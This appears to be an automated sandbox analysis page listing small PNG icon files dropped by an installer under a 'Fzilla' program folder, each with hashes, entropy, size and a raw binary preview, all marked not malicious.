Preview:	.PNG........IHDR................a...gIDATx..R.leA.=..m;..m{..nTE.....o..y....."s=._...........X,f.......u...B.L&....1iii)...].v.M...`..R,..$f..494........@...y.W..&.J...w.D",\..Z....L.b...C..J&..Xpoo/...Q__.w......\|.}0.........M.g.U.>~..Zwrr.L..V4..1.{.yT.,ww.....9r.....a.t'X.l.... ..a..p..I....S.S....d.J..j...B.yy..^Ox.t:&... Tz.q.t!3rf...w......v.lF#.H.....m...D"AYY.........8.4. .1......o{R...%.QRT.Q..@..}Kr.....IDD.INN&QQQ...$!9....$..3B.-Q.n.u.'.(.hknf>GGGxzz.......f..w...B..QKd.jl..d...e..<&.E...;w.D......B.../...I[[.ioogr,;;;..........I.L.....A.B......-..o.q#...E....}....7.2.2.2.2.2...../....0.D.N.^....M..:.....V.h..h....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-B3N67.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	651
Entropy (8bit):	7.545164075444873
Encrypted:	false
SSDEEP:	12:6v/7lyOFAbk6foxm6ZvnebnnQn6yb5OAI/ED4OrKVXYWU2mtZP9gt6n:4EbzfV6ZvsypD4OrGYWUXz9gtU
MD5:	94BDF8BA8D3EC665025B7F85517E8484
SHA1:	9A10F5A612BFFF81FB257058EA46EADB9FA10BAF
SHA-256:	B461583348EA100C2FFA1FFF1FA6A23961EB313F9CAC1D4D29DCB4B35060CE3E
SHA-512:	8146A0D159334A759BDC29FACEFCF6BA57683C75580F25F56A1B37CC6FEB3C7C21CA1DD3ECB63A266CFAD55C112478CD1EE368CBB1F7F711F939E2DCA3B1208B
Malicious:	false
Preview:	.PNG........IHDR................a...RIDATx.b..0.....6.bAR#......4.....'..{^ ~..K..O..........U..7.G._.... ..8V...iR..X.CJ.Z-.C...[.......I.=..C......X.:..).J8.C.E..yLNN>D.N.m.!@....\|....<..a.,.>K++(.(..!I...........q...........T0..U...I...BTE.u.-..X8...P.{.o{..9.tr.Lfs.u]....C..\|...d.>..."...HaH....@..\|c...`,g..e...~.p+...hD..PH..Q.gd9..8.U9......h~..%..2VH...~.....n.`.=@~.!..z...m\m.h..,...(.Y......'..S....9..B...}..T.\|n....g.\|.LLN..fg...qk<.b...iv...N....0@..A=...i`eiY.....#.t..X.rh_.\|.vd....I...l.8r.T.a....\|.......zP.D.4.........P.I....m.1....Ry..,;.C=......g.0......sssg.X#..8@.`&s...K........28h......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-BBUGO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	689
Entropy (8bit):	7.568334207703447
Encrypted:	false
SSDEEP:	12:6v/7ikTplybWAN6eSFan0HwpzcjhTUjG9H5g3YEWK9dybojlJlFnR:4pwHL8KcNTU0aYEP8b0lJlX
MD5:	58AD811474F09FE8D2483282A3A54D6F
SHA1:	1CCD1B7C9E888E691690CB83D7A37C02FAF4DE21
SHA-256:	601B524D57E40080119435A031C0E651A83DFD00B8BC649FC42A488EAB7D60EF
SHA-512:	FD6CFF77FDAF1A9FDEA4E95E942F5D291670A0571E96BAD645D9A8A96767611B1C2E5B89369EB8DFDF88532E2001476480C3EEFCC1F98BFCB014CC1DB59FFB33
Malicious:	false
Preview:	.PNG........IHDR................a...xIDATx..P.`.g........m.m.m..m.m;...>......j3_$..S........6N.F.-.8 ,...%...W?...V....cb..KrW...%.6...$............t....e.Ln.6..}....uA.j ..U.....&%..{. .6M!.ng...._.M.O3...M...0..y....6...P."..<..nw.Wn...W...h...t.Y......S.."...c......;}.N=.<..<l...J..P..93.l.....v.<....d...1..AN._F..=..c....U.U?...a......c.7..M...!E4.;...r..G....V....c....o..e.c..].'..BD7...T.{.CxV...Tr...G...B...w.pI.......o..^B...V..K..]O...A$b......)#.5..-.O..\D..D......s)..n.D8..6+~..H....H$...\Jy..[<C........H...........h@\b,N>..H..va_.\.\|.+...8).7.....2x'.N.. .@....K.<fz#{.....;....go...n.i......... E..;..x.u..^u..I[.$........o....L.j..9....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-DQ55K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.482678631873077
Encrypted:	false
SSDEEP:	12:6v/78TALRh5fwKOwyQ9WnMctP2pm3C8IZQYd1gizm/Skv/VnD:DULHJwXlMcJJYdHm/SQD
MD5:	9BB0652E1B733849DA172C448A6F2026
SHA1:	83FFB9A49A01A4D18B6103CEC9BE015DA1A43245
SHA-256:	AEC9DF3A2FB792A06DF6CADA76F1CBF2946C9FC22514E5052428C88DEC5BB252
SHA-512:	AF3A4C1258D62720EF5CBE041876D1AC6B7D1730B318D71D7EB08D88A198BA6C857C8BD9F30FAB7BA345CA177829D76B30349776DB8F5E63475D21FD515DDC99
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C.[a...m.k.m.m..I.j..N.S..<......m...vV.S.7.N.-.........d.8.v._2.....!......B.xUeg.%...cz.=I.7n.w.;.`s.m..V^^...,.......l....,.{o.=.?.....Iw:..........!hll....(-...A:..Z`G.<.~t...'V.V.fff.6.6.u.5.Ko.P.......+.%.....w..(..;=.=......Gp..v.J/.~-.l.....vB...L.j..}K....3.7...........MB..g..J.E.r.a.L......=O......+....z.I...?..U9...3..n..AI....8....$.4..Ir.B.3x.Y..K0t....C.ay(....G.-.:.x...S....7..J...c2.W./.._{s.9q...<g@.)5)..Z.e..\|.......,_.\|.......[u(......q3..J.Kr.e......[...e*i.u..J.JIK....q...@...v.H....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-FNOE7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.553412470683321
Encrypted:	false
SSDEEP:	12:6v/7wnj5wjF7cO4UxVJmmHITBJ+zjR0v08xKrrRFdk/NfbobHRz:8//1NqjxwneboVz
MD5:	90CDE1FE0183BB1D909A41AC064E0DDA
SHA1:	BD9C9FFB645586B94B4186741ED1EBAE2DC79BBC
SHA-256:	F81288BAB5D29831ADCF320E0E14E8B07B4933F0CC9B7BC4D46869B8590E90E5
SHA-512:	9B3ADCEDCB2735CDB9A83050F2F75EF4D4B525EA82827A7062D853095D15885017A629B8C9CDD20F93F88A4D194D99A657C5F45E88FA069A6CA5A6BB3135F102
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....x.a..g.W.m..~.m.m.....mj.o<.;J....I....:.r.s.7...J..x.....K..?,.S...^.(..}:..r...c..K$p....x5..JA...?..\.9..YU....aH...pq.(.P]..g.Z7.&-j.=OV.\|M..:.C..x..{.k..=.mC.x...+%b...@..5..>...y..B....;.I.<T.(#.Ui..w @.V.XT.y...!..I...C.p.....Wn..QO2.[..."...U?Z#.."....$...yP.t..^.......\|R.W=.E...x..nT.w...D..+.=ra.....P&.F.s<K......m..a7...Q.....erR!.2~..I.#...a..NV.y...)........nU. /..;.I.-.......bl.9"w..U.j...Lh..;K.P.hb..F@..o.jl{........0.f\y..NC6..hPQ.5..H....W.....2........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-GBIBD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	449
Entropy (8bit):	7.292578625144907
Encrypted:	false
SSDEEP:	12:6v/7pidLbviJsiq0v4ObeHojs2gDDQHG/1:Jd/rF0wObmojsZPcG9
MD5:	B261F25FF67480005CE97D63FA894E94
SHA1:	95C2337552CBA0A0DC7D9D706E9C85D39A335A80
SHA-256:	0B85A6417D6455687C2812381CB8F0B611C2C0ABDBF053D37AEDF8BF41F83CD4
SHA-512:	7FA215DB6892446A94F4EACD142F3537EEBB1717454D600AA1BD7EFB23F1C955EBAA7F9B19048A90C63FCF1CE3A75604BE9B5E83051D8B94198C88F9B506FB06
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.......wp.f .<.....r..'11.d..c..O..Z...MII..4?/)1.v...UU../^...EDk~QT..i..].w...,+..C....[Z~_...'.w3fD..z......w..._....KM..}'.C...X.j~;}..={..C..%..0.........k..yx...bE.=......f.53..GW...l.I .u....H3...r....0W4..lF..x...q...WXX@.l 9.\.....{vv W....@.!.BC.@..233(,.l..f............2..t.00p.....!..cQ..w.....6......15].AR..>V....6...DJH..m.......t...d...D.......$?H....F...#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-GC9KQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	677
Entropy (8bit):	7.563024445755158
Encrypted:	false
SSDEEP:	12:6v/7b/BCmJXLGr8Sp7UI+kPFgBSnMen5/UFFkDfBvAnI8WefLnzWzr:e/Bx8l7UIhNlMehUC1ABUr
MD5:	38F2F93CA65081734AAB66870902580F
SHA1:	51AD2168046A66A4CDB060F6CC9D0E4EB47777B6
SHA-256:	F84C85D94F6A3D778ACF2FAF3480DE4501114E4D0C68A5F38429E70F8CEE5C13
SHA-512:	7234BBB704D3B5F23FE64DC4B864ADFE3E00E13966A1DE40C39320AAB21F210AD172DBCF57D7D7E81F590FF6DB3AAC32FFD186D25ED353B7AA2BF4AAE6B8D6BB
Malicious:	false
Preview:	.PNG........IHDR................a...lIDATx....t.`....m.Nm.m.Am.m.~..[m./...&OQk..r.Ja...K..l.f.[.k......oS.qr<2.%/.7...B.3G...1.G..k.t.$........u..QY..E..P........R..l9>..l_..O.P...`.........?....R.K!....r.@w....\|Y`.mG.{k"...c......@.E.s...c....6..4.l..#A....>._........Xd...%.}X.p..T..s.v.5X..g...7._.....qM....M.:.k....).R....8.wE...w.'O....3...c<D.(V.oC...,..._.......S.:..=j...c.d.[[...~.q....@....... ..9...>\|...c....N)r......>.T/.>.....B.O....}p.=.6....Sg..7...TN......g.....\|......H..P.......~......>..'..j..L._m!....v..\|.k06....4.A..<]u!.......z%...,\.8;.....4.......E...s.."....)..t.[..tz..o...o..{.....[*..PK.73..vu..hv(k....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-GFGE2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	896
Entropy (8bit):	7.686595369616501
Encrypted:	false
SSDEEP:	24:7YdZZoxMuHbBvCV36WCelfoTCMuLQaDFU3CcS/2pC/vUJpOKDJ:oopCUjQfo2MuLQ6S3O/2pTTj
MD5:	E2AC4B4B68D1C9F8FE2B02AB77B9DBB1
SHA1:	5CE35ED2BDBA01A4B2ED07034D397FC12ECC2E41
SHA-256:	B248A3D708596ADCEE5D6AFCDAB1205034A8F04E51682E5CE08C02301A5DCB06
SHA-512:	01D6DB5BC612627274ED92C95A53B325F7935A508F06823FFEA08C3361D1B23ACBFEA3C3939D6A6565B6554F4CA0F54CEE6CEF1ED50FF6CEE16F46F797DE08AF
Malicious:	false
Preview:	.PNG........IHDR................a...GIDATx.ER...X.>.I..=\|,.m.Qw.l.m.~.wT.m.6?>cT..=.....G...9....I.y.s.N.x........@yy...v.....8s..e.......K&...>.D.g^..r.....1".E....'.........1+....\|...-.%55...?..^.P<.V..6666...G....>6.."...@........r...zB......g.}Fp.X..655.D",M.....r........4.M...+Fl..r.6.5S.U,....B..8.q0.........PUU.......EL....x. ...@..d.p..E.G..(.P,a.x. F.......:..T...I...b.0.u..mMEE%}..].y..s../......(.f....W.N.D..P.....QXX.E..z..9s..~_...........h..H..y.......WP@F....c.......9.H....]\F...?........s........2li.).oX6....CG..>.......=.....n88w.._...?...>0.h.R<.6.2r..)..../=8nu..='+....2....E.E.<:.Sl..m...Rq..SK;........L..N..i.%`..~..p.C....B,.....b........:......3J3....+......3."^b..~5]1u.A.....j.....`.\...2...R..w.....`/y.\|.1=....b.0}.3}.f0$..g..8....vA.r....+.OH".j..kN.......8.....t.u.j.#T..m..lO^cM.n0.4L"........!v.\.`.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-HGK3H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	718
Entropy (8bit):	7.665646335332114
Encrypted:	false
SSDEEP:	12:6v/7JrwwBAvtdR3+NEj5FBPcEZJO+dXmotmZuym24/6esjbbWJqFnIiF:0YvTlFVcEGuX7WuyI6BfbccVF
MD5:	9C7E5A33EA3351DF96CA6F802EA8DA1B
SHA1:	403CF3C1A1D50CB9152A15C5636D05C4EFBE52FC
SHA-256:	FEF8794F7FE34204F21CB25F0CFC78FBD2201D6A05A4E592150581A0D98DA57C
SHA-512:	82DF23B71CBAD87751002ACB5B071E9DAEA02B295D8DA9E9C28621A14F113CFAA0731287FC9461F0C6F18D0A16F21B0E87B5BF61C379DB53CD84E98B13B89484
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C` .....m.m.Fm.m.m.m.....->x......c.'..R.......{+....;.zk...L`.C....:?tRE..Fd.~.M.v....s.R..JX.n...4.!..._B...hR(..un.a!{,..SH.J.J....W.~.H+..-...a!...7.Q.p..A.B.4..D..whQ,...d....d.\|.....E.sw.D.<.~.jc%....2Y...~....Y_...t..;...F.{..H.+.....u-`.q...]..<L.Z..Q....R#:.=.8.9....+.1..A."..0.@~y\....dG...I.........\....u.IB...t9~.......o.k.A..U....v%.S.u.....,...9.\B..E.A....U.0f....Ag.c..C...kMa%L....}.=Z.Q.....q).!.`.....8b. s.....y...s..`..3X..j...^{s.2I1.......`.............s......=....H.y..^..?..n.n5...Ka6K...J;")c.!w...K..B.OP...m+.Q...3...0.e.p.....x....g..4.....g.2.......\|vvvP~P.b&\|..C.....P..(..X....5....2..b......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-HRNJ6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	510
Entropy (8bit):	7.402919652948329
Encrypted:	false
SSDEEP:	12:6v/7CzEPerTr8fdqS42Vu7b838VFQt4R/vSCs8dglr:tdrCkS4MOC+R/vSCs8d0
MD5:	72577AE251F176D9E27E468B116DDF48
SHA1:	5520C0352F6762BEA8019B735C146403EC933B85
SHA-256:	E9206F2621664DC08A288D7675F3E81C66F608A2913FCA7EB6679BF447E624CC
SHA-512:	BFB89786BC2D66C108694DFE223FA213D7ABA0CC9CEE00515A1774E136A3A14AAC1A982A818815DBA987CEEB4CBCF98F685F0C77E8530086BCFAA4CB7EC6DFD4
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....l]a....^0.q0.f.m.am.{.j......8y.de.{..@p....r.E.........-8...U.Z.^N.3...a`...'n..Z..q..=..k....Sg..4v......~w&...?.1..M.C..............4...Z..S.......H^Y...IM...8(...$..Z.c?.#{..g...G.\...o.IPf.?...6+...$..+.,..t._.a..9.B...H...`].....$..wy.`).......Da...h2..U../4..I...x.u..r...B.Lx. .......#Y.{2.....W...-..Ug...}v..Ul....nnW......\G.r.0.....2+g$..IHH..r.....9....U...SXWB\..(....8..DLT<ENE.N\\"..w.b~\z.%.....H<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-I1QGM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.703109879983936
Encrypted:	false
SSDEEP:	12:6v/7Uk7w+QBeMN3lyaovwWxiOAmaEa/FMgAEkU5AgAwGcdgDzYKUdm3yKUH9Yz:NksBeglcAPEcFMukUykg3DUdvpH9Yz
MD5:	B09F75F68B10E5E6847E1DF05571370F
SHA1:	74B72630E93C2CD334C065D7CF74D3CD4812550D
SHA-256:	F01C4325DE446566586A036A2EC1E4DA839582E81BE0985B40D51F036D90D2BD
SHA-512:	34BC9CDA2BAF3F54729F7BB9BDC7612DCDD4F23D67C1A69805C025E2801B41869E4D72C4CD8F9F34E3012E00F11F61A4A587080867AFD0D9BFF2A01E7131DE1E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C..G...wf...k.m.6N.q.m.m.v.l2.......Z....v..e.%.....r......T..0.T.a....6^u.........w.....n.D.X.u]>.t.5.......1........m...0....7"...p..&_u....x.....+..b...V.@. .}.}_.'.L.$X ........Q...9....._.B.=?H.U....O.UF...L....@.._$.L....d.V\|.1M...w..x...B..fL.L.@..&.8G.@.d..z.c&<.........n\z....3.X.:.l.w^..'.'.......?.\......%..&}.zt..[..;.PK...\|..-...q....~....u.K{{......m}:...[....x.`..&..j...C.X...L...]p.<...zm...D<z....{.=..W>{...r...F'V.."\.....{.3.\|~8b.j..xq.#...^........4S..h.. 2%.q........e./....+.C...Q.d....3..8.d.6 ....}...\..`fb....$....R......1I........q.d._...\.....!....wW..y.B..jps.q.t...z.....]wZ.fWv.E>...qlKJ#...*.R\|.._\....5La?..a-.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-IF1DJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	627
Entropy (8bit):	7.5629652792588455
Encrypted:	false
SSDEEP:	12:6v/7eR5D1hdoV0BBGsX0ESRU42b/qMpYKERl7dZvuivcDbc7AM3zzbeIID/FVK/N:xcV037XGRU7uRxdZDcEcoGIIg
MD5:	0FFFE8F4A29F40CA136728E248DD1C1E
SHA1:	405FFFE66244D695149A18EF9EEE6178EB90E6B4
SHA-256:	9A04046F9DCF003656ECC676AF9CD9C45B56A9FB4CFA11B882ED463C24357A9B
SHA-512:	AAE5C0DD33D47C74624E973467AE41BAF3BF04165EC898A4A20449EDAC8C1C57AC7BBFC938D9BCD3B0344ACB3F5DF6206035B874148BD5CA1A934AF863477184
Malicious:	false
Preview:	.PNG........IHDR................a...:IDATx.....eW.....s.X.V\......j7.16..F....:..q.'....c...M....3.{.RF....[........\|..m#...!.....)S...Y..X.$.7Z..p..<.Z.4M]...eqt......]......K.*NSX..Z$=..$""...A......'V>2...o.QF.. C9.H...1.F.V.)V.....b\|..AY.w..?u.}.......5...Y..%..$.T.B......A.9H)/.....].ZO.....>..h.FB(..w......s1w.u.......E$....!Q....mc.u..H.!4.!"zV..8{....m..V....;#..........e...(....a_..e5.5...ua..)5.).]...6...^ ...hD....c..i....3'...&...b_9x.....p..[.w.FU.G..s...... .Q....!.)....X..$Ai~.7.8q..^.c.-W.y.#w_.Z......LOk.."d...R:@x...3..........IJ.2 .r...>....].....?..vAB"01.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-L0B3E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.549778571234614
Encrypted:	false
SSDEEP:	12:6v/7gk6w/INTuWgOciQLCPaADSpKFna/XYvFrqaZbrTya5hg9UxHdxbhK9:h/T5tczLCPsoT9TywhgSlbNs
MD5:	44C07EE90F994CE9593EC02E5A0BC74F
SHA1:	76E2F3E6356DEDF0EB0A2550AABF228CD71BAD69
SHA-256:	A3F36BCEF0BE4D07FC6DC90CD3D120045D2B1D5FDC1BE31AC018A8222F7C7435
SHA-512:	5CDBDE92C417344E839ABB8B72F28FBF15894513EB641710F77F56BE1E1415AE9AB13C97D14ACB7D461A820D55226C4168A3A7AD83BDDFCCF388D40FF60F59D5
Malicious:	false
Preview:	.PNG........IHDR................a...0IDATx.b...?.%.:.De.X)G...Z.gp[.(....1.m.F.6qR.6m..i.6.b..mW...... ....7.f..p.\|....}..{........s.......+]_.V]{.u.V..l.}......;.^.....t....3.O.`8T..=.....s..R&..d.{..e........D.a.....l.......{lQ`.#.....}>]?.-....3O}.M........l......!y.$A.!e.X.9Ee.../....1.B.B.u...8............tZ....0&%.L......jCA.<.[..AX.....:........LH...o..].L...C.[U..ej+...]eb...%;....m.....\|i..*.2Q.#.g.......%0....p...s'...;..\|...k.."....V6b+,.C....<..<...'..O......z".kCo.5.e...>}...}.b.].7..'...].]\|xX..v.U.9.w..u.#I.(".!Zc.l....x...$".......;...TS._n..`.<K.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-LCOD2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.522590761505521
Encrypted:	false
SSDEEP:	12:6v/7Mk8t1XHqSPL8TgDc1TBuFRlVIJa81GnLOoMQ4ViDm8Vxg2JPNBfZN:1k81XHpzuTmVIJTGn6oMjifVO2nBhN
MD5:	86282037191DAADD1950E2E349C9DB03
SHA1:	E7AA516070B0775C97FBFE7752DA8168550784D5
SHA-256:	DC206A42720B949333CCFA444CB79BA21AC897687927BD52643B4F1A7FDA49D6
SHA-512:	4283E113631282177EEF2888648233E9538F3FB8DE290C513BDD8BEBFB6658A0A836CB4A12C59EB6CFA3907AE21379E72B1D9E8C236B5C535C6F40E65E8C4D24
Malicious:	false
Preview:	.PNG........IHDR................a...<IDATx....`.....m.g..m.m+..m.m..V.7B.`kGz.+..</.A..W(.w..}j..a......tA7...cA..$..........."..../..Y J......M..;...$..H=T#e3.......x.:..r..W2.p<..t.)..A...vt....#p.....g..+.i....n...S..h."A....T.]W.=.pje......Y2...?..K.<{.......@.c..7...!6.......>...~.xz.1.y...E......b..i.......y(...........k.S.{.1.U..`......:*e..7 .P...k.h.w..1.....g\|..{...hf....psq.=..\|..Y..}...=;5,.....-.?89k.8.Xk...p<..<t.>.W."..3...1.....h@.;..{...6.+.i...$F.Z.,....BL..XVz........E......r.&.WH....:j./V2.s...)...).c..'..c.hf..JApsu......G.....M[..G;u.?.e?.....\|.?<.../O#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-O2KMT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	971
Entropy (8bit):	7.735971365790046
Encrypted:	false
SSDEEP:	24:LPzwe9lSdt2KEYEuNBVpDghxSprm8YTGD1qeZrA1:LpwtxEL4g7SZm8YQRRA1
MD5:	6A719221BFC8F8D1EDB62FB4DE98A36A
SHA1:	BA3A33A7ABD13C73B0B4CA5F129BE9543E56BFD9
SHA-256:	BFA61514A32380296F3C12B861B3A663E1018441A8AA08CF44CEE2E37C296358
SHA-512:	633057EFBBB584E1E8A4184A21763E1270CCD2144EE89D6018B0951AF818A0CE47D536567B4F233C06250D04542B8010F2960C57E1DC533F6F184F233206547C
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.]S..kG..G...H..Y..m.6.j.=x.m.....7..I.~..O....As...&n.p..$p....:o.>}.}....]....}....n.KKG..=w4/+.a......../R..I.y.....%...0p..N'".2(!F[FF.pE.\|..1.....J..q....]........(:~l{.m.o0......1c...b!6....F.(..D.....+..i6.TR.A.E8.. ..T...s.....F.F.. ....b $...f......}..8...(#y..8..._..`...........t.c.I.8/..f../.....iS.\)K.......NYV.D....4.w..Y.SB.5.\r.U.i...n8\|..c..6.v.........~.7...w4..;.C....?t..&.....v.m.......%Xy.99t.).....`.:.K...].yl.Q.....Y.z.i. ....`0..:.F[.k.xJ.-..3.B.G.....4..i.;8."VE...2..IS.L..'.........3.#..\p..J...+.O`.X;.:....m.h.[l..T2......7B.~../..\D...{..j...c..............D..t...{.9;...J...\..ka..l..../y..ab..R.....<...].x...S.y......K...-..!.Y".%;.O=...'.~..MUA..r......]$D.b.Hq..uN.....`....."'.r.9*z..\|>....P(...ua...8..\|.....`.........r.......B..H..~....D.or8..W<...ds..d./..e.0...wikk.o...A.BM.(.z{{.....0.86<.xr.qew./[+..B../..P..T5..7d..}m.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-PJI95.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	697
Entropy (8bit):	7.658609320999023
Encrypted:	false
SSDEEP:	12:6v/7kC0a3cB8hU7qg6nYhL4jFSAB8Wh0GYvEVyfDXcN34nsdmDDpB0yFYVXtsRlE:3CL3aUWq1nko9BAssCiDIJmlE
MD5:	CF888FDEE136C738F6CE18309F589CD4
SHA1:	A4D804FBDD2F045FDF8DF2314CC01DEAC9C734A5
SHA-256:	13A8E8208D5936FF030683184B85C1BE3EB66DBDE32137CCA44140F7FB9E5730
SHA-512:	957A771BE969BCE3DD129C57FE2A09C29919B605A162368309830AF80700A6296B4C1A172DB44F1203B51F7DE5567B742B7637D912D6D7D2F97D5DBCDBFD08D9
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..S..\k.=cw.m....U.qR.U.mT.A.6...m.w.._.......x.>.".3g..1..Q..EQ .2..0$I.5#......7n.....t.._\|...A.@.N.c#.=$.......D}}...>2`4...>$''..t........b.....h.Z..A.o.~g.l..H....X.v.....qdd../.n.#.. "...&.WU...b..5.'..K.."+...Q.S..?(\|d.....e...y....<......J...........&.t.e..&........a.P......a........c.B.V..g.....[........-...G...Z..3k../....=....o.a.P..q....I.!..T..8]g~n.UET......[RN..[....z..O)0j.Z....\|.y..=.....>.~.2i....../LM...BCC...I.&!33._~.%b~.AnN.GEd.lhP...&...Z....0.)..>X+.G.QY_..0@.W.t...P(....Gu.F..).V*,.s....A\|\|....<R..H.X..6R[..SRR..?.... .s)\.=....h..!......!d..\.a.".!Z.F......q..?.+._<.;..<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-RQMGQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.709017521968257
Encrypted:	false
SSDEEP:	24:7sVNsS8EpQ8OAvRFunlcLbf1dIqKOMKNT:7MsS8AQ8OURsmLHWOMW
MD5:	E9F84FBE853DD86D21EC410C10BB00F9
SHA1:	547095B373672D69E7141F5C51FB36C881A6ADED
SHA-256:	5F79E3B68AD372C7891743A6A9F4C5F260462034181ECA9DA74C7B7BCD2F2A48
SHA-512:	AA87B63AEEF97E8D86E1BB766B00A4070214FA85469BFE04EFCFF6C11B4026209E7C5CDD34AD3EB4EA5ECC4F1093958A18D9F119B1584945BA3708ECEC904447
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.t...$g..kfm.m.m.m.....g...3..7...6...6.n.20.?.{SH.fXh.h...l1...\...2e...ry2.f...6.).h...G.V.zb}..WX.....a.U.o/.0...#......O...:..6eJ..7.4lx....l.:y:k.<.2Dnu..j7..%2>d....i..x....&;.;\.tG<...r..{........b..y.v....Y..S.....8.&....U..._9......K.J..J4....$k-.......i....w.Cf..@..I.:u.;.}...v......?z..8....J.....d68H...0......................;.8p.....M...m.zv.....4...M&...../^...U.X$B..%)T...w.f.QT(_.#...].=..t.H...B."bJ:..pB.Y.7g.....3g.....\|8..^i....@..Eo6."qO..x....`......0k.X.V..I..-......>..........8...\....$\|.9r."..>$_.\|..7.A......+u43..ZE.H..=.....y.....z."/_..D...?.....r.....P~k.a}a..0f..o_..#.....~.n.._\|A.....C. ... -......m2...:UE.-*......[`z<\....& .P3;,..77A...1.] ..r..+..(.8.........cN.......&.....dO.o.!.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-TE210.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	281
Entropy (8bit):	6.6932704028197785
Encrypted:	false
SSDEEP:	6:6v/lhPO6fcr6si6Ex1jgWBvzf9P1wAt8cVuQoktPxHfwu6JPjdp:6v/7Pc6spNMLfPZvE+Bdl6J7z
MD5:	33D473D11B06D3E2CDBBA0B46D0E1B74
SHA1:	15F7A9C09306310780745947F5DEEC67D5C5B5FF
SHA-256:	9EC8E5EFEF694B544FC8A7E5F5C9937DFECF56F450A80CA6E6D214C8D2BC9603
